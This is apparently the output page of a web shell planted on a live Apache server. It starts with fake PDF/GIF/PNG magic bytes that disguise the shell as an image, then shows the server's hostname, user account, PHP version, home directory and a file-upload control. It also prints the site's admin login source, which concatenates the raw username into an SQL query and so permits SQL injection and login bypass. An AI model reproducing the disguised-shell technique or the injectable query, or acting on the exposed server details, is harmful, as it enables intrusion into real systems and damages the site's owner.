%PDF- %GIF98; %PNG;
 
Server : ApacheSystem : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64 User : addictionfreeind ( 1003) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Directory : /home/addictionfreeind/public_html/admin/  | 
Upload File :  | 
<?php
include "conn.php";
if (isset($_REQUEST['submit']))
 {
//     $_SESSION['admin']='test';
//     header("location:dashboard.php");
$password=crypt($_REQUEST['password'],'gdigital');
$pattern  = '/[^A-Za-z0-9\-]/';
$password     = preg_replace($pattern, '', $password);
$query= "select * from admin where username='".$_REQUEST['username']."' AND password='".$password."'";
 $result=mysqli_query($c,$query);
if(mysqli_num_rows($result)>0)
{
$_SESSION['admin']=$password;
header("location:dashboard.php");
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Admin</title>
<meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
<link rel="shortcut icon" href="img/favicon.png" />
<link rel="stylesheet" href="css/font-awesome.min.css">
<link rel="stylesheet" href="css/bootstrap.min.css">
<link rel="stylesheet" href="css/style.css">
<link rel="stylesheet" href="css/dataTables.bootstrap.min.css">
</head>
<body class="hold-transition skin-blue sidebar-mini">
<div class="loginpage">
<div class="wrapper">
<div class="container">
<form class="form" method="post">
<img class="logo" src="../img/mainlogo.png" width="200">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit" name="submit" id="login-button">Login</button>
<?php
if(isset($_REQUEST['submit']))
{
?>
<div class="error">Invalid Login Detail</div>
<?php
}
?>
</form>
</div>
</div>
</div>
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.dataTables.min.js"></script>
<script src="js/dataTables.bootstrap.min.js"></script>
<script src="js/script.js"></script>
</body>
</html>